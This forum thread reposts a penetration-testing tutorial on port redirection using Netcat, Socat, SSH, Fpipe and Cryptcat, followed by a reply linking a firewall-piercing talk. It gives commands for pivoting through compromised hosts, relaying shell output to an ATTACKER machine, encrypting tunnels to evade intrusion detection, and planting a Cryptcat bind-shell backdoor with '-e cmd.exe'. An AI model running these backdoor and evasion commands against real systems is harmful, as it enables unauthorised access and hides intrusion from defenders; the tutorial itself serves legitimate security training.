Results 1 to 3 of 3

Thread: Port Redirection Tools and Techniques Share/Save - My123World.Com!

  1. #1

    Port Redirection Tools and Techniques

    <Originally Posted by AnArKi>

    This is the first in the Tool/Technique Of The Week (TOTW) series of posts covering methods used in information security as well as tools that I believe to be helpful. This weeks TOTW covers port redirection.

    When pen-testing there are a lot of ways that you can use port redirection to get around obstacles. You may want to leverage network access that you have obtained by compromising one system to attack another. Maybe, there is a service that you want to access but can't because it is being blocked by a firewall. Or there may be an intrusion detection system that you are trying to evade by sending traffic through an encrypted tunnel. Whatever the case, the following tools and techniques can assist you in accomplishing some of these goals.

    Netcat (nc)
    Available for Windows and *nix.

    Netcat is one of those tools that has so many uses to a penetration tester that it is something that should always be in your toolkit. Taken from the Netcat project homepage:

    "Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol. It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities."

    One way port redirection can be accomplished with Netcat on both Windows and *nix based systems. This only works if the application and protocol in use does not use control traffic to maintain an active connection. For example, lets say that you as the penetration tester (ATTACKER) have compromised and have direct access to HOST A on port 80/tcp only and have also compromised HOST B setting a bind shell to listen on port 23 but cannot access the host directly. There isn't any egress filtering for HOST B but HOST A cannot connect outbound on anything other than in response to established connections that it receives on port 80/tcp. (These command will work interchangeably on both Windows and *nix.)

    On your ATTACKER machine you would run to receive response traffic (window1):

    nc -lv 3333

    On HOST A you could run:

    nc -lv 80 | nc -t HOST B 23 | nc ATTACKER 3333

    And then netcat to HOST A on port 80/tcp (window2):

    nc HOST A 80

    You can then run commands from window2 and receive the command response on window1.

    Two way redirection can be accomplished using named pipes. Named pipes in Windows can only be created with code and do not work in the same way that named pipes in *nix work. You are much better off using something like Fpipe (see below) to achieve this same functionality. Lets go back to our previous example, but this time we would like to tunnel the command response traffic from HOST B back over the established connection that we initiated to HOST A on 80/tcp. (HOST A in this example must be running *nix.)

    On HOST A we create a named pipe using the mkfifo or mknod commands:

    #pipe will be the name of our named pipe
    mkfifo pipe

    #this will perform the same action using mknod
    mknod pipe p

    We then create our two way tunnel using Netcat on HOST A:

    nc -lvp 80 <pipe | nc -t HOSTB 23 >pipe

    In this case we can either use a standard telnet client (because we specified the -t option) or Netcat to initiate a connection to HOST A on port 80:

    telnet HOST A 80

    - or -

    nc -v HOST A 80

    We will then be able to issue commands and receive the command output in the same window.

    The two way port redirection technique can also be used to redirect traffic from one port to another on the same host. Example:

    #SSH into HOST A if sshd is listening on loopback
    nc -lvp 80 <pipe | nc localhost 22 >pipe

    ssh -p 80 HOST A


    Socat

    Socat is one of the best tools available for port redirection. Taken from Socat project site:

    "Socat is a relay for bidirectional data transfer between two independent data channels. Each of these data channels may be a file, pipe, device (serial line etc. or a pseudo terminal), a socket (UNIX, IP4, IP6 - raw, UDP, TCP), an SSL socket, proxy CONNECT connection, a file descriptor (stdin etc.), the GNU line editor (readline), a program, or a combination of two of these. These modes include generation of "listening" sockets, named pipes, and pseudo terminals."

    Socat's syntax takes a little bit of time to get used to, but once you overcome this mild obstacle the power of Socat will become obvious.

    Going back to our previous scenario, setting up a two way tunnel as we did with Netcat becomes trivial with Socat:

    socat TCP-LISTEN:80,fork TCP:HOSTB:23

    How about if an IDS is monitoring the traffic between HOSTA and HOSTB? If Socat is compiled with OpenSSL support we can generate certificates and encrypt the communications between the two hosts. We can also force validation of the client certificate to ensure that only HOSTA can connect to HOSTB via our Socat tunnel.

    First we have to generate a public/private key pair:

    openssl genrsa -out HOSTB.key 1024

    Next self sign the certificate:

    openssl req -new -key HOSTB.key -x509 -out HOSTB.crt

    Then generate the PEM encoded certificate by just concatenating the key and certificate files:

    cat HOSTB.key HOSTB.crt > HOSTB.pem

    The PEM encoded certificate must then be copied to HOSTB. Perform the same certificate generation process for HOSTA (client), and copy the client PEM encoded certificate to HOSTA.

    Once your certificates have been generated and have been placed on the appropriate systems, all we need to do is setup the listener and the SSL tunnel.

    On HOSTA start socat with the following options:

    socat TCP-LISTEN:80, fork openssl-connect:HOSTB:8080,cert=HOSTA.pem,cafile=HOSTB.crt

    This will allow our ATTACKER machine to connect to port 80/tcp on HOSTA, and then initiate an SSL encrypted connection to HOSTB on port 8080/tcp.

    On HOSTB we set an OpenSSL listener on 8080/tcp to receive encrypted communications from HOSTA, decrypt this data, and forward it on to 23/tcp over the loopback adapter on HOSTB.

    socat openssl-listen:8080,reuseaddr,cert=HOSTB.pem,cafile=HOSTA. crt,fork TCP:localhost:23

    I would highly suggest reviewing the Socat usage examples and the documentation that has been made available by the Socat project to see some of the other uses of this great tool.


    SSH Client (ssh)

    SSH is a protocol that is largely used for the secure remote administration of systems via an encrypted tunnel. Outside of its basic terminal access uses, the OpenSSH client also has limited port forwarding capabilities that we can use for port redirection. This is a great benefit to us as a penetration tester for multiple reasons. Not only does SSH come installed by default in the majority of *nix based operating systems, but it also gives us channel encryption capabilities between any two systems in which we have authentication credentials (password, key, etc.).

    There are two different port forwarding types that can be used with the OpenSSH client, local and remote. Local port forwarding forwards traffic coming to a local port on the connecting machine to a specified remote port either on the machine that is being connected to or a system in which that system has network access. Remote port forwarding does the inverse, it forwards traffic coming to a remote port on the destination system, to a specified local port on the connecting system. Lets look at some examples.

  2. #2
    Lets go back to our previous example, but this time we have ssh access to HOSTA. We can establish a two way tunnel between our ATTACKER system and HOSTB using nothing more than our ssh client and HOSTA acting as a connection intermediary.

    ssh -L 3333:HOSTB:23 username@HOSTA

    This will setup a local listener on our ATTACKER system on port 3333/tcp which will forward any traffic that it receives to HOSTB on port 23, via HOSTA. We can specify multiple local forwarders at the same time by including more -L options. If we had ssh connectivity to HOSTB we could bypass any IDS sensor that is in place using two ssh local forwards:

    ssh -L 3333:localhost:3333 username@HOSTA

    Then on HOSTA after logging in:

    ssh -L 3333:localhost:23 username@HOSTB

    Remote forwards are also really helpful when we have a service on our ATTACKER machine that we want to be able to access from a remote host, or provide connectivity between two systems using our ATTACKER host as a proxy. For example, ATTACKER2 is a system that is on our local network that we want to be able to access from HOSTA via 80/tcp so that we can browse our pen-testing toolkit.

    On ATTACKER we would connect to HOSTA with the following remote forward definition, we can then connect to 80/tcp via the loopback adapter on HOSTA to connect to ATTACKER2:

    ssh -R 80:ATTACKER2:80 username@HOSTA


    Fpipe

    Fpipe is a tool that was created by Foundstone that allows us to perform port redirection on the Windows platform. Fpipe does not provide any native encryption abilities, but it does fill the two way tunnel gap due to the lack of named pipe support in Windows without having to install Cygwin.

    Going back to our scenario we could create a two way tunnel with Fpipe by issuing the following command on HOSTA:

    fpipe -l 3333 -r 80 HOSTB

    We would then be able to initiate a connection to HOSTA on port 3333/tcp which will be forwarded to HOSTB on 80/tcp.

    Fpipe also has functionality to set the source port of the connection using the "-s" option, which may be helpful in bypassing some weak firewall implementations.


    Cryptcat

    Cryptcat is the standard GNU :cool:Netcat tool enhanced with twofish encryption which has ports for both WIndows and *nix.

    You can provide the same command line options with Cryptcat that you would with Netcat (see above), with the exception of some options that are used in relation to establishing the cryptographic tunnel. Most notable is the "-k" option, which allows us to specify a "secret password" (symmetric key) that will be used during encryption and decryption. I would always suggest setting a different key when using Cryptcat as the default is hard coded to "metallica". The key will need to be set the same on both ends of the tunnel.

    We will need to use cryptcat on HOSTB to create our backdoor as the symmetric key will need to be defined to decrypt communications from HOSTA (not all versions of Cryptcat/Netcat support the -e option).

    cryptcat -k SECRETKEY -tlp 23 -e cmd.exe

    After creating our pipes as we did in the Netcat example we issue the following to create the two way tunnel on HOSTA

    cryptcat -k SECRETKEY -lp 80 <pipe | cryptcat -k SECRETKEY -t HOSTB 23 >pipe

    We can then create a local two way listener (after creating our named pipes) on our ATTACKER host to encrypt the communications to HOSTA, and initiate a telnet connection to our local forwarder:

    cryptcat -k SECRETKEY -lvp 23 <pipe | cryptcat -k SECRETKEY -t HOSTA 80 >pipe

    telnet localhost 23

    credits: http://itsecops.blogspot.com/2009/08...socat-ssh.html

  3. #3
    Super Commando Dhruv abhaythehero's Avatar
    Join Date
    Sep 2010
    Location
    Lucknow/Pune,India
    Posts
    466
    Blog Entries
    2
    Firewall Piercing

    Excellent presentation about different techniques to bypass firewall mechanisms using tools like netcat,socat,ssh etc on different layers of TCP/IP model. >> www.c3d2.de/media/firewallpiercing_21c3.pdf
    In the world of 0s and 1s, are you a zero or The One !

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •